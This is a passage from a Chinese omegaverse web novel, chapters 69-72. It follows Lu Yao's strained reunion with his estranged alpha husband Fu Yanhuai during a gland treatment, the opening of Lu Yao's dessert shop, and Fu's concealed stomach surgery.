“谢谢你,时越。我知道你原本不必和傅晏淮产生什么交集的,我也知道你不喜欢他,是因为我,你才勉强自己做这些。” 夏时越立即正色道,“不是勉强,你是我的好朋友,这些事情都是我自愿的。无论你怎么选择都有自己的理由,只是我还是会想,当时一个人离开京城,你应该是很难受的。” 夏时越是鹿遥的好朋友,他记得鹿遥在这段婚姻里所经受的一切,记得他生下年年三天就离开,记得鹿遥的虚弱,也记得鹿遥筋疲力尽哄睡年年的每一个凌晨。 无论鹿遥怎么选择夏时越都会支持,他希望鹿遥能真正获得属于自己的幸福。 鹿遥浅浅笑了一下,“所以要谢谢你呀,时越,谢谢你一直陪着我。” 鹿遥和夏时越跟着医生再次回到病房后,傅晏淮就看见两人之间的距离比刚来医院时更亲密了。 傅晏淮不动声色收回目光,他专注看着鹿遥,“年年吃完奶好像有点困了,妈抱着他在休息室里。” 夏时越看了看表疑惑道,“是不是来医院累到了,我记得年年以前午睡不是这个时间啊。” 鹿遥温声道,“可能是坐车晃的,我去看看。” 夏时越笑着点点头,鹿遥进到休息室,夏时越不客气地盯着傅晏淮。 医生假装自己是个只会检查的工具人,一眼都不敢多往床外面瞟。 傅晏淮坦荡且姿态十分闲适地向后靠在靠枕上,医生检查了几项数值,又撕下他的纱布换药。 伤口不仅没有好,紫色的范围反而扩大了。夏时越皱了皱眉,“你是不是故意的。” 傅晏淮侧着脖子闭上眼,“我听不懂你的意思。” 夏时越怕文筝和鹿遥从休息室里出来,他磨了磨牙放轻声音,“故意把自己腺体弄坏装可怜,你以为这样鹿遥就会原谅你吗?” “大概率不会。” 夏时越觉得傅晏淮笑得很挑衅,反正他一看傅晏淮这张脸就想一拳揍上去。 傅晏淮思索着道,“不过不会也没什么关系,我是年年的父亲,鹿遥身边也没有其他追求者,我们可以有很多时间。” 靠,这个baby无耻的alpha。 “你就这么有信心?”夏时越手也痒痒牙根也痒痒,“万一鹿遥一辈子也不搭理你呢?” 傅晏淮没有异议,“就一直保持现在的状态的话,那也不错。” 现在傅晏淮的腺体坏了,他尚且处于清心寡欲的时间段,对着鹿遥没有那么强悍的占有欲,他对这样的距离感暂时满足。 夏时越看起来好像想用眼神把傅晏淮给刀了,医生在一边颤巍巍开口,“傅总,您的腺体…” 夏时越立刻问道,“彻底好不了了?” 医生干笑两声,“暂时还有救,不过今天可能需要鹿先生格外配合一下。” 鹿遥和文筝正巧从休息室里走出来,他怀里抱着年年。 年年还带着口罩,小兔子帽子外面又扣上外套的帽子,仰躺在鹿遥怀里睡着了。 众人都自觉放轻动作,文筝低声开口,“年年要睡觉,小孩子这样敞着睡容易着凉,我们先带他回家了。” 夏时越一怔,医生赶忙道,“鹿先生能不能再等二十分钟,是这样,我刚刚检测腺体,发现他对您的信息素有感应。但是具体还需要再仔细观察,您看…” 鹿遥很惊讶,“腺体有反应?那太好了。” 鹿遥松了口气,昨天和傅晏淮一起来医院,看着腺体伤口那个样子,还以为傅晏淮真的没救了。 文筝低声对鹿遥道,“你要留下来吗?年年给先我抱吧。” 鹿遥犹豫片刻就把年年放进文筝怀里,“麻烦妈妈了,等治疗结束我就回去。” “不着急。”文筝叮嘱他,“你慢慢来。” 文筝侧头叫夏时越,“小越,回去了。” 文筝一句也没再多关心傅晏淮,她的母爱有限,而且傅晏淮也没有年年要紧。小孩子前两天刚刚发过烧,可不能再着凉了。 临走时文筝只匆匆丢下一句,“好好配合治疗。” 傅晏淮安静躺在床上,他偏头看着鹿遥,把颈侧还没换上纱布的伤口正正好好地完整露出来给鹿遥看。 那一块的颜色实在太引人注目,鹿遥想看不到都不行。他皱了皱眉别开眼,“医生,现在需要我做什么?” “提供信息素浓度较高的环境。”医生展开自己的记录给鹿遥看,“到这个数值就可以,密闭房间里有专门检测的仪器。” 最后医生略带歉疚地对鹿遥道,“其实治疗原则和当时治疗您的腺体是一样的,只不过您的腺体不适宜被提取腺体/液制成诱导剂,所以只能用这种方法了。” 见鹿遥皱眉,医生紧接着又道,“只是先试试效果,只要验证腺体做出正向反应,接下来的治疗计划就很好制定了。” “好吧。” 鹿遥想到自己要在封闭房间里和傅晏淮一起待着就很别扭,躺在床上的傅晏淮听见鹿遥答应,唇角不自觉地轻微往上勾了勾。 傅晏淮还没有到行动不能自理的地步,他慢悠悠从床上坐起来,发烧外加躺了一上午让他有点不适应。鹿遥叹了口气,到底还是扶着他站起来。 傅晏淮眼神瞬间有力了很多,等他站直鹿遥就把手收了回去。 鹿遥往前走了两步,发觉傅晏淮没有跟上,他蹙眉回头看他,“干什么。” “没有。”傅晏淮垂下眼,装出一副苍白温吞的模样,“我还以为,你不愿意碰我。” 鹿遥看着傅晏淮现在的样子莫名有些烦躁,他不客气地刺了一句,“不愿意不是很正常吗。” 傅晏淮轻轻嗯了一声,“都是我不好。” 鹿遥无可奈何道,“别说这些了,先进去。医生说你的腺体有反应,看来还是可以治疗的。” 傅晏淮故意走得很慢,他想和鹿遥相处的时间再多一点。 如果是以前,傅晏淮得知自己会用这些不入流的手段吸引鹿遥的注意力,他会嗤之以鼻不屑一顾。但现在,傅晏淮只庆幸鹿遥的单纯和心软。 他没有深究傅晏淮是不是故意伪装成这样,甚至在这个时候还照顾了傅晏淮的情绪,只专心治疗。傅晏淮觉得,如果换了他自己,是做不出来这么有良心的事的。 鹿遥把门关上,房间很小,面对面坐着能碰到傅晏淮的膝盖。 鹿遥干脆站起身,他撕掉腺体贴直接对着检测仪器,一点点等着数值浓度上升。 “以这个速度来看。”傅晏淮冷不丁开口,鹿遥都已经在看着数字愣神了,听见声音吓了一跳。 鹿遥略带茫然地回头看傅晏淮,傅晏淮下腹一紧。 傅晏淮忽然停顿住,鹿遥已经调整好表情,他略带不耐地问,“什么。” 傅晏淮脸上的表情有些古怪,但鹿遥根本都不想看他,傅晏淮喉结上下滚了滚。 “上升到10还要等一会呢,你先坐下来吧。” 傅晏淮若无其事开口,“一直站着会腰酸,我听妈说,你有的时候腰会不舒服。” “那要感谢你了。”鹿遥没坐,他淡淡道,“拜你所赐,产后第三天,我坐了几个小时的动车,又走了很久才找到合适的酒店。” 傅晏淮心脏蓦地一痛,他自责地深深看着鹿遥,“对不起。” 鹿遥想扯扯嘴角嗤笑,但他没有笑出来的力气。 鹿遥的叹气清晰在房间内响起,“傅晏淮,我只是不明白。” 鹿遥转回身,他难过地对傅晏淮道,“你不喜欢我,我知道。可是怀上年年,也是你同意的。我以为,你接受了我们的家庭。” 傅晏淮百口莫辩,“我没有,没有不喜欢你。” 鹿遥没有心力和傅晏淮争辩这些,“你想和我离婚,我不会不同意的。只是我总觉得,就算结束,你也该给我一点尊重。” 至少他们真的曾经幸福过,那些美好的时刻因时间而虚幻,但鹿遥记得那曾经是真的。 “算了,和你说这些有什么用呢。” 鹿遥自顾自地道,“反正也回不去了。” 第70章 第 70 章 心结 “是我太自以为是了。” 鹿遥和傅晏淮之间离得很近, 甚至只要动作幅度稍微大一点就可以互相触碰到。但傅晏淮明白他不能这样做,这会让鹿遥更有负担。 尽管在这一刻,傅晏淮很想要把鹿遥抱进怀里。 鹿遥的表情隐忍, 傅晏淮闷闷开口,“我以为按照我的安排, 你会继续很好地生活下去。” 鹿遥简直像是听到了什么惊天动地的大笑话,他难以置信地问道, “好在哪里?是说年年刚出生的时候不哭, 我连他的样子都没来得及看到就被医生抱走急救?还是说, 你觉得我被迫离开京城是一件好事?” 提起这件事, 鹿遥的态度变得很尖锐, “你和我结婚只是为了要一个孩子是吗?我不配做你的伴侣, 也不配做年年的爸爸,所以你只想把我踢出去,只要这个孩子。” “我。”傅晏淮抬头看到鹿遥通红的眼眶, 他心痛难安却无力反驳, “并不是不配, 我只是觉得…” 鹿遥不再管没有上升到合格线的浓度数值,他拉开门就要出去,傅晏淮先他一步将门关上。 傅晏淮在鹿遥肩侧紧紧按住门, 鹿遥再拉却拉不动。他深吸口气放下手, 转头咬牙盯着傅晏淮。 “我不在乎你是怎么觉得。年年是我的孩子,就算抚养权不归我,我也有探视的权利。你凭什么完全把我阻隔在外,你是他的父亲,你都没有用心照顾他,难道你换了一个伴侣, 那个人就会好好照顾年年了吗?” 傅晏淮闭眼叹了口气,“我不会和你争年年的抚养权,我也没有想过要把年年从你身边夺走。你是他的爸爸,他刚出生在保温箱里的时候,每天都哭到半夜一直找你,我知道他真正需要的人是谁。” 听到年年刚出生一直在找他,鹿遥鼻子一酸。 当时果然走得还是太草率了,年年那么小,一定很不舒服还害怕,他真的不该一走了之。 鹿遥别过头紧绷着,“我不在乎你要和谁结婚,又喜欢谁不喜欢谁。只要年年不受到影响,随便你要干什么。” “我不喜欢别人。”傅晏淮认真看着鹿遥,“我只喜欢你。” 巨大的委屈瞬间把鹿遥笼罩,他使劲忍着才没有在傅晏淮面前情绪崩溃。 “耍我很好玩吗?” 傅晏淮惊愕松开手,鹿遥咬牙一字一句道,“你几岁了,还要人陪你玩这种爱来爱去的游戏。看着我的情绪为你牵动你觉得很有意思吗?把我赶走,现在又装出一副深情款款的样子,你觉得我会相信吗?” 傅晏淮焦急道,“不是的,我说的是真的,我真的…” 鹿遥压下门把手就要离开,但浓度数值已经到了九,只差一点点就达到合格范围了。 鹿遥把眼泪忍住,他放缓呼吸,慢慢看向傅晏淮。 “你是我…唯一曾经喜欢过的人。” 要说鹿遥不爱傅晏淮,他自己也不会相信。如果不是因为爱对方的话,怎么会一次又一次在傅晏淮面前退让,会因为怀了他们两个的孩子而欢喜,会只为了傅晏淮短暂的温情而深陷其中。 鹿遥的眼里含着眼泪,傅晏淮心头巨震,他艰难张了张口,却发现自己无话可说,也什么都不能说。 “可是我现在不希望你再来打扰我的生活了。”鹿遥哽咽着道,“就当是,就当是看在我们两年多的婚姻,或者就算看我可怜,不要再这样对我了。” 不要再这样戏弄他,在他全心全意对待他们两个的家的时候对他弃之如敝履。现在又弄伤自己的腺体,深情款款地说他其实喜欢他。鹿遥不明白,他只觉得很痛苦。 傅晏淮心底抽痛地喃喃,“不是的,不是在骗你…” 这一次真的不是在骗他,可鹿遥好像不会再相信了。 数值浓度升到10,鹿遥关掉亮着的指示灯,这一次,真的拉开门离开了。 傅晏淮浑身泛冷,他困惑又难过地慢慢坐回去。治疗室里留下满屋的焦糖信息素气味,可是信息素的主人却已经离开。 傅晏淮闻不到焦糖的味道,也留不住鹿遥,他茫然留在原地,紧紧闭上眼睛。 鹿遥心情很不好,他不想这样直接回家,让文筝和夏时越为他担心,年年也会跟着不安。 鹿遥一个人在街上逛了逛,看到好看的装饰品买了几个,想等硬装装完放到甜品店里。 鹿遥调整好状态后回家,年年已经醒了,文筝抱他下楼。他就在沙发上乱扭还一直哼哼唧唧,文筝把他又抱起来,“你爸爸一会儿就回来了,别着急啊。” 鹿遥一进门年年就嗖地扭过头,他眼睛闪闪发光地在文筝手上鲤鱼打挺。鹿遥赶忙快步走过去把年年接过来,文筝着实松了口气,“年年从睡醒就一直找你呢。” 鹿遥想起刚刚傅晏淮说的话,想到年年早产,刚刚出生就一个人住在病房,想找他也找不到只能每天哭,鹿遥抱着年年的手更紧了点。 鹿遥身上的信息素味道还未散,闻起来香香甜甜的,年年乐颠颠窝进鹿遥脖颈里,幸福地唔了一声。 鹿遥心软软,“找爸爸找了很久吗?在家有没有乖乖听话啊。” 文筝笑着道,“小孩子恢复起来就是快,我还担心今天带他坐了一趟车会不舒服,结果一觉醒来又生龙活虎的。” 鹿遥抱着他坐下,他有些自责道,“换季了应该注意多穿点衣服的,总想着是在家里没事。” 文筝很看得开,“这么大的婴儿哪有不生病的呢,都要感冒发烧的。” 鹿遥还是心疼地摸摸年年肉肉的脸蛋,他下定决心道,“以后一定会注意的。” 年年最喜欢和鹿遥待在一起,他现在已经可以自己独立坐一会儿,这就导致他总是不安分地乱动。但是在鹿遥身边年年就会变成一个可爱听话的小婴儿,他趴在鹿遥肩膀上,专心致志咬奶嘴玩。 年年安静下来,鹿遥看向文筝低声开口,“医生说傅晏淮的腺体还能做出正常反应,大概会慢慢好起来的。” 文筝怔了怔,“看来不是很严重。” “既然这样的话。”文筝很快就开口道,“除非到了迫不得已的地步,不然你就做其他自己要做的事吧,你和小越不是还要开店?这个要是盯着也很忙的。医生会配好药进行治疗,你就不要总是去了。” 鹿遥还以为文筝听见这个消息会很开心,会希望傅晏淮的腺体赶快治好。 鹿遥略带不安道,“可是,如果这样的话,会不会对他的腺体有影响。” 文筝把头发掖到耳后,她理所当然地开口,“你的腺体也还没好呢,一直配合他治疗,万一又出状况了怎么办。” 她又看了一眼年年,“年年最近惊醒的次数也少了,睡得好吃得好长得就快,孩子发育期很关键。s级腺体的生存力没有那么差,有一点点机会都会抓住拼命生长的。” 提到孩子,鹿遥无条件地动摇了,“好。” 反正傅晏淮也要回到家一起住,如果有什么不对,医生也会告诉他。如果真的需要信息素安抚,那他也可以及时去。 文筝其实也是差不多的想法,傅晏淮住到她眼皮子底下,那不管有什么事都好说。都和鹿遥住在一起了,这几天还折腾鹿遥往医院跑算怎么回事,傅晏淮自己呆着吧。 鹿遥一直坐在楼下,文筝哄年年和奶油玩,他坐在一边看着出神。 真的要快点把店开起来了,等到装修后一定要尽快营业才行。 鹿遥吃过晚饭才和夏时越一起回到卧室,鹿遥又拿出傅晏淮粗粗写出来的那份策划案,上面多了很多黑色笔迹做的备注,那是鹿遥后来加上去的。 比起营业模式,夏时越对店铺装修更感兴趣一点。 “小鹿,你看这里,如果我们把这一块变成打卡区呢?大家来了可以先在这打卡,走网红路线嘛。” 夏时越拿着平板上草草画出的模拟图给鹿遥看,鹿遥仔细看过才道,“放在这个位置也行,这里光线更好一点。” “嗯…” 夏时越沉思道,“那或许这里也可以动一动,我想想。” 鹿遥继续一边查询对他来说很陌生的金融词汇,一边继续努力填补策划案上的空缺。 夏时越不禁默默感慨,鹿遥真的是不管做什么都很认真的人。 “我真的能看出来你上学时候成绩很好。”夏时越趴在床上侧头看着鹿遥,“我不管学什么都没有这么努力过。” 夏时越的成绩其实也还不错,但是没有到名列前茅的地步。他也并不需要把全部身心都投入放在学习上,像夏时越这样的人,学习乐器马术高尔夫也是很必要的。 鹿遥没有觉得这算努力,他随口道,“反正我也闲着没有事做,随便弄弄看吧。” 不然还要去麻烦傅晏淮,除了腺体和孩子,鹿遥不想再和傅晏淮有什么其他交集了。 夏时越真诚道,“虽然是随便做做,但是我觉得也挺像模像样的。” 他随便写写可写不出这么多东西,夏时越反思自己的创业历程,发现他都是说干就干。 鹿遥从策划案里抬起头,“还是要询问专业人士,我只是怕自己什么都不懂,到时候开起来反倒添乱。” “不会的。”夏时越一骨碌坐起来,“哪个大老板最开始创业还规划到每一天要干什么了?他们也都是稀里糊涂就做的,我们两个肯定能行。” 夏时越的自信感染到了鹿遥,鹿遥笑笑,“我们一定能做起来的。”【你现在阅读的是 】 70-80 第71章 第 71 章 胃 那天鹿遥从医院回家后, 就真的再也没有去看过傅晏淮。反倒是傅晏淮主动给他发消息,说住院大概要四天,让他不要担心。 鹿遥对傅晏淮的腺体的确是有些担心的, 但他又觉得自己的关心毫无用处,而且自己也不应该对傅晏淮关心, 于是干脆也没有回。 鹿遥开始专心致志和夏时越一起研究如何开一个连锁品牌,这几天一直忙活着往店里跑, 连年年都顾不大上了。 文筝对此倒是很高兴, 鹿遥有自己喜欢做的事情她是很支持的。 有钱办事就很快, 店里的装修之前就已经在弄, 再来几天差不多就能装完了, 鹿遥和夏时越主要是在商量经营模式以及招员工。 家里搞事业还是差点意思, 两人每天都出来实地研讨。 这几天下来,鹿遥脸上的表情都明媚了许多,看得出来鹿遥开这个店是很开心的。 夏时越这几天也在一起忙活, 还抽空跑了好几趟餐厅, 他体力透支地趴在窗台上, “天哪…创业真累,今天回家真的要好好睡一觉才行。” 夏时越感慨自己好像老了,以前十几岁的时候熬一整夜都不会怎么样, 现在只是折腾了几天, 就已经累得不想起床了。 鹿遥失笑,“我也要好好休息一天,最近都没有时间多陪年年,妈妈说他都不高兴了。” “哎对了。”夏时越猛然想起什么,“傅晏淮明天是不是就要回来了,他能出院了吧?” 鹿遥脸上的笑意微微凝固, “是。” 他状似不在意地道,“家里这么大,作息不一样都碰不到,不要紧的。” 夏时越撇撇嘴,他不想让傅晏淮住进来,可这也算他家。而且他现在也挺惨的,把他赶出去看起来好像还不大人道。 “他住进来也行。”夏时越凉凉道,“年年出生之后他都没怎么带过,刚好他在家闲着也是闲着,去带孩子。” 看着夏时越的样子,鹿遥有点想笑。但他仔细思考了一下夏时越的话,年年和傅晏淮相处得的确太少了。 不知道年年这个阶段到底是不是真的需要父亲这个角色出现在生命里,但是最起码,年年应该认得他。 年年能认出鹿遥,也能认出文筝傅际中,甚至认得奶油,但是年年认不认得傅晏淮。 鹿遥迟疑地停顿住,他还真的不知道年年认不认识自己父亲。 鹿遥沉吟道,“他的确应该试着照顾年年。” 夏时越跟着道,“傅晏淮不会照顾孩子也没关系,反正有文阿姨和育婴师在,他可以慢慢学习。” 鹿遥没有想那么多,“成长过程中,父亲的角色也是不能缺失的,傅晏淮只要多陪陪年年就好了。” 傅晏淮现在看着很虚弱,鹿遥不勉强病人要学会照顾婴儿。 夏时越抻了抻懒腰站起身,“先回家吧,我得洗个澡快点躺下。” 鹿遥也站起身,“好。” 两人回家的时间有点晚了,文筝和傅际中已经吃过晚饭,奶油今天刚洗过澡,浑身的白毛蓬松柔软,还香喷喷的。 小狗也知道自己洗干净了讨人喜欢,奶油乖乖坐在地上露出小狗的标准灿烂笑容并摇尾巴。 文筝手里拿着一小截黄瓜逗奶油,“奶油连黄瓜都喜欢吃呀,尝尝吗?要不要尝尝?” 奶油欢快地把尾巴摇得更快了,它哼哼唧唧地撒娇想吃。 文筝宠溺道,“人家吃什么它就要什么,好了,奶油,坐好。” 奶油得到了黄瓜,嘎吱嘎吱啃两下就吃掉了。它仰起头仔细嗅嗅,并且左转右转想看看还有没有。 “没有了。”文筝呼噜了一把奶油头上的毛,“晚上吃太多不好消化,虽然你是小狗,但也要养生注意健康。” 奶油听不懂什么叫养生,但它听懂了黄瓜没了,它意犹未尽地又坐了回去。 文筝和奶油一来一回地互动,年年在一边早就坐不住了,他在沙发上扭来扭去啊啊叫着要下去。 傅际中有求必应,育婴师赶忙铺了爬爬垫,傅际中抱他躺上去。 奶油哒哒哒跑过去,嗅嗅爬爬垫然后坐好。 年年憋着气一股劲坐起来,然后准确无误抓住奶油一直摇晃的尾巴。 小婴儿握东西的手劲也不算小,尤其是他这一握奶油也不敢动,整个狗都凝滞住了。 鹿遥赶忙走过去,他好笑地捏捏年年的脸,“为什么要抓奶油的尾巴呢,松手。” 年年不仅紧紧握住,还小小拽了一下。奶油不能摇尾巴,它无辜地抬起头看着鹿遥。 鹿遥无奈了,“乖,松开,你这样奶油也不舒服。” 年年大声哼哼表示抗议,而且最近鹿遥都没有好好陪他,年年生气了。 鹿遥对年年张开手,“爸爸抱你好不好?” 年年撅起嘴,勉为其难地松开手,让鹿遥把他抱起来。 鹿遥松了口气,抱着年年到沙发上坐下。 奶油哒哒哒又跑到文筝脚边趴下休息,文筝先关切问鹿遥,“和小越吃晚饭了吗?今天忙得差不多了?” 鹿遥在年年的紧密乱贴中勉强找到空隙看向文筝,“吃过了,这两天忙得太久,我和时越打算明天在家里休息一天。刚好傅晏淮明天也回来。” 文筝听见傅晏淮的名字还愣了一下,她诧异道,“这么快。” 鹿遥点点头,“等会上楼我再问问他,看明天几点出院。” 文筝无可无不可道,“助理会送他的,房间也已经收拾好了,你都不用操心。这几天也确实累了,你想和时越休息的话明天就多睡一会,我让厨房给你们留早饭。” 夏时越嘴甜道,“谢谢文阿姨,我和小鹿可累坏了,这两天…” 鹿遥微微笑起来,坐在一边看着文筝和夏时越说话。 他衣兜里的手机忽然震动了两下,年年还在精神抖擞地乱动,鹿遥手忙脚乱把手机掏出来。 平常联系他的人就不多,鹿遥疑惑看了看屏幕。 竟然是傅晏淮? 鹿遥蹙眉划开屏幕,上面的信息让鹿遥忍不住怔愣。 傅晏淮:治疗方案临时改了,还要继续住院一周,明天不能回去了,抱歉。替我向家里人也说一声。 消息是刚发过来的,鹿遥赶忙把电话拨回去,没想到响了两声就被按掉了。 文筝和夏时越也都察觉到异样,夏时越低声问道,“是谁?” 鹿遥脸色很不好,“是傅晏淮,他说治疗方案变动,还要继续住院一周,明天不能回来了。” 文筝的心跟着提起来,“怎么原来说得好好的,现在还要多住一周院?是他腺体又恶化了?” 鹿遥无措摇摇头,“给他回拨就挂断了,我再问问。” 文筝和夏时越都凝神等着,鹿遥的信息回过去。 鹿遥:为什么忽然又不能出院了,你的腺体出状况了吗? 傅晏淮:腺体没事,是并发症状。不用担心,不严重。 鹿遥本该放下心,但傅晏淮太能糊弄人了,而鹿遥又总是会被他骗到。 他把手机递给文筝,文筝和夏时越一起紧缩眉头检查了傅晏淮的回复。 文筝想了想道,“既然这样,我们明天去医院看看。” “不。”文筝紧接着又道,“直接问问医生就可以了。” 她忍不住在心里吐槽自己关心则乱,都忘了可以直接给主治医师打电话。 医生很快就接起了电话,文筝开门见山问道,“傅晏淮的病情怎么样了?” 文筝开了免提,医生沉稳的语气清晰传到每一个人耳朵里。 “傅总的腺体恢复在正常水准内,没有出什么问题。只是用药刺激引起了一些并发症状,白细胞数值降低,需要在隔离病房观察几天,小问题,并不严重。” 文筝沉默良久,她忍不住狐疑道,“不是傅晏淮教你说的这些,来搪塞我们的吧?” 医生吓得一哆嗦,他求救地看向躺在病床上的傅晏淮。傅晏淮微微皱了下眉,对他小幅度摇头。 医生清清嗓子,他镇定道,“不是,现在傅总已经住进隔离病房里了。如果接下来几天恢复不错,还会正常批准出院。” 文筝半信半疑道,“最好如此。明天上午我们去探病,你把时间留出来一下。” 医生听得一激灵,“不不不行。” 文筝:? 医生干笑两声,“隔离病房,不允许探视。三到七天,傅总一定出院了,您不必担心。” 文筝冷笑一声,“好,我姑且信了你的话,你最好是真的没有和傅晏淮一起合起伙来骗我。” 这通电话打得医生脑门都冒汗了,他转身试探问傅晏淮道,“傅总,那这手术您看…” “今晚就做。” 短短几天过去,傅晏淮就比刚刚住院进来的时候更瘦了点。他脸颊凹陷看着更加凌厉,不过一举一动之间还算得上平稳。 胃部的灼烧感一天比一天加重,持续的高烧让傅晏淮食欲减退,摄入能量无法维持正常人体的正常行动。无奈之下,医生只能选择手术。 “这次手术之后,或许发烧也能缓解。” 医生再次询问道,“只是您确定不把手术的事情告诉文夫人吗?如果鹿先生到时候又问起来…” 傅晏淮眼神锐利扫了他一眼,“一个小手术而已,尽量两个小时内结束。只要你不说,这件事就能瞒过去。” 医生只好道,“好吧,我去准备手术室,您稍等。” 傅晏淮看着医生离开,他默默抚摸了一下手机屏幕,重新闭上眼睛。 这么一点小事,就没有必要让鹿遥跟着担心了。 他会重新让鹿遥再次信任他,但不会是以这种卑劣的方式。 第72章 第 72 章 甜 尽管医生说了傅晏淮要在隔离病房住院, 鹿遥还是莫名忍不住忧心,实在是傅晏淮前科累累,鹿遥觉得也很有可能是他和医生联合起来骗他们。 所以尽管文筝没有说什么, 其他人也都表面接受了这个说法,鹿遥还是在第二天去了医院。 鹿遥没有细究自己的行为, 他给自己的理由是傅晏淮没有按时出院,他需要看看是不是真的情况变坏, 以免出现措手不及的情况, 白白让傅际中和文筝跟着焦心。 所以鹿遥找了个借口, 假装想到店里试试新到的装饰品, 刚好夏时越好像也有其他的事, 鹿遥就自己出门了。 医院和甜品店顺路, 鹿遥真的到店里转了两圈,他算了算时间,故意在中午吃饭的时间到医院。 这个时间医院一定会送午饭, 或许他可以和医生商量进到病房里, 跟着护士进去探视。 如医生所说, 这的确只是个微创小手术,麻醉过去傅晏淮甚至都没有感到太多疼痛。 术后只需要禁食四个小时,之后就可以吃一点流食了。手术后傅晏淮的食欲有所提升, 但同时也带来更多困扰。 或许也有腺体的缘故在, 傅晏淮感觉很不舒服,他又发烧了,但如附骨之蛆一般无法甩开的饥渴感让他难以安枕。他的确想吃一点东西,但不是医院的米糊。 傅晏淮一手捂着胃,另一手撑着床慢慢坐起来。 护士连忙走到他身旁,弯腰把他扶起来, “傅总,您需要什么吗?” 傅晏淮烦躁道,“什么都不用。” 护士也不敢劝太多,她看了眼桌上放的米糊,护士颇感头疼道,“傅总,术后是需要进食一些流食的,您的胃刚刚做过手术还很脆弱,请您至少用点心思在…” 鹿遥刚刚逛完超市,他随手买了个婴儿磨牙棒,这个牌子的年年上次很喜欢啃。 他到医生办公室,却没有找到医生,于是抱着试试看的心态还回去了原来的病房。 只是鹿遥刚刚把门推开走过客厅,就听见护士说了这样的话。 “什么手术?” 鹿遥难以接受地看着屋内的两人,他握紧手里的袋子,艰难又问了一遍,“你们在说什么,什么手术?” 傅晏淮的胃做了手术?鹿遥目光看向傅晏淮,他后知后觉地把手挪开。 傅晏淮唇色苍白,面颊却很红,而且他比上次鹿遥见时明显又瘦了。傅晏淮舔了舔干涩的唇瓣,“鹿遥,我…” 护士顿感不妙,她偷偷背过身联系医生。 鹿遥盯着他呼吸急促往前走了两步,他把手里的袋子随手放到一边,直接就去扒开傅晏淮的长袖睡衣。 “等一下。”傅晏淮一把按住他的手,他无力道,“你先听我解释。” “不好意思。”鹿遥的声音听起来还算平稳,他垂下头,刘海遮住了他的眼睛,鹿遥对护士礼貌道,“您能先出去一下吗,我有事情私下说。” 护士干巴巴道,“啊,当然可以,您请。有事随时叫我。” 护士同手同脚走出去,还贴心把门拉上了。 在护士刚刚出门的后一秒,鹿遥就直接把傅晏淮按倒在床上,他也不看傅晏淮,只是盯着执拗要解开他的扣子。 “鹿遥!” 傅晏淮只能抓住他的手,鹿遥抬起头,傅晏淮这还是第一次如此清晰地在鹿遥眼里看到愤怒。 “你又骗我!又骗妈妈!” 鹿遥用力把手抽回来,“你和医生说好了?联合起来一起哄骗我们,你到底做了什么手术!” 傅晏淮很是无奈,胃后知后觉地又开始火烧火燎,而且他现在口中饥渴感更重,很想吃点什么。 “只是个小手术。”傅晏淮此时确实没有太多力气了,反正已经被发现,手术也已经做完,傅晏淮没有再想着欺骗。 “腺体用药引起了一些副作用,原本我的胃就已经出现了一些症状,这次只是彻底爆发出来。” 鹿遥眼神变了又变,傅晏淮立刻补上后面的话,“手术时间很短,也很顺利,什么意外也没有。四个小时的禁食期过了,我现在也可以正常吃东西。” 鹿遥看着傅晏淮手背上插的留置针,还是身上连接的各种线,他几乎是在质问傅晏淮,“那这些呢,这都是什么?” 傅晏淮解释道,“是因为术后二十四小时内还要继续监控,这些明天就都会拆下去了。” 鹿遥懒得听傅晏淮说这些,现在他说的话鹿遥一个字也不会相信了。 鹿遥直接膝盖压到床上,探着身子捧住傅晏淮的脸把他整个头转过来,颈侧纱布依然还在。这回鹿遥不再管是不是真的刚刚换过药,他直接就伸手把纱布撕了下来。 傅晏淮惊愕但来不及制止,他目光顺着落到一边的地板上,“你…” 颈侧青紫没有消退,完全没有恢复的迹象。 傅晏淮能感觉到鹿遥的手轻颤,傅晏淮现在顾不上鹿遥会不会烦他,他覆住鹿遥的手背,让鹿遥手心贴着自己颈侧的肌肤。 “腺体没有恶化,是真的。并且这几天的用药也持续有规律反应,医生说,如果努力配合治疗的话,会慢慢恢复的,只是不知道能恢复到什么水平。” 傅晏淮的体温很高,不正常的高,鹿遥僵硬着不敢用力。 “谁知道你说的是不是真的。” 鹿遥真的快要崩溃了,“谁知道从你嘴里说出的那句话是真,哪句话又是假。只要你想,你甚至可以拉上全世界来一起和你撒谎,我要怎么…” 他要怎么相信他呢。 傅晏淮不知道为什么隐瞒一个没有危险的小手术会让鹿遥这么痛苦,鹿遥现在就在他眼前,紧贴在他身边,傅晏淮真的舍不得放手。 “我向你道歉,没有把这个并发疾病诚实告诉你。” 傅晏淮缓声道,“我没事,我向你保证,我的腺体也会没事的。别难过,鹿遥。” “我不是因为你难过!” 鹿遥反应很强烈地否认,“我只是…” 鹿遥也希望自己能狠下心直接把手抽出来,但是他更怕弄坏傅晏淮的腺体。 鹿遥看着傅晏淮瘦削、颧骨凸起、带着不正常红晕的脸。 他不能忍心再对着这样的傅晏淮说一些伤人的话了,鹿遥捂住脸,“你为什么总是要这样,你到底要干什么…” 此时病床上的两个人都已经身心俱疲,唯一还剩下的只有执着。 傅晏淮沉默不再说话,鹿遥平复了情绪后站起身,“我会和妈妈一起,一五一十地和医生问清楚。” 傅晏淮喉间干涩,他艰难地做了一个吞咽的动作。 他真的太饿,也太渴了,可他想要的不是桌上那碗无味的米糊,傅晏淮想用舌尖品尝到一点甜味。 “我…” 傅晏淮低低开口,鹿遥停住脚。 “能不能请你,把腺体贴暂时摘掉一下呢。” 爪牙被短暂束缚起来的猛兽努力展示自己的虚弱和友善,鹿遥回头,恍惚间看到傅晏淮平和表象下掩藏的凶戾。 傅晏淮又舔了一下嘴唇,“我只是,太久没有吃东西了。” 他只是饿了。 错觉一晃而过,傅晏淮依然只是那个高烧反复,术后脆弱的病人。 鹿遥这才看见桌上的那碗米糊,他沉沉叹了口气,把年年的磨牙棒放到一边。 鹿遥绕过去拿起碗,“这是医院给你准备的吗,为什么不吃。” 傅晏淮仰起头,他深切地看着鹿遥,“不好吃。” 傅晏淮诚实道,“我想吃点甜的。” 鹿遥不可思议地看向他,“甜的?” 傅晏淮是真的病得很重吧,从来不吃甜食的人现在想吃甜的了? 鹿遥不想深究傅晏淮的话是真是假,说出来到底是什么意思。 他坐到床边,用勺子搅了两下米糊,舀起一勺递到傅晏淮唇边,“张嘴。” 鹿遥冷冷道,“吃东西也要我教你吗,你连年年这么大的小婴儿都不如?” 傅晏淮没有反驳,他顺从张开嘴,吞吃掉米糊的同时一直紧紧盯着鹿遥。 鹿遥被他看得心烦,他把碗往傅晏淮手里一塞,“自己吃。” 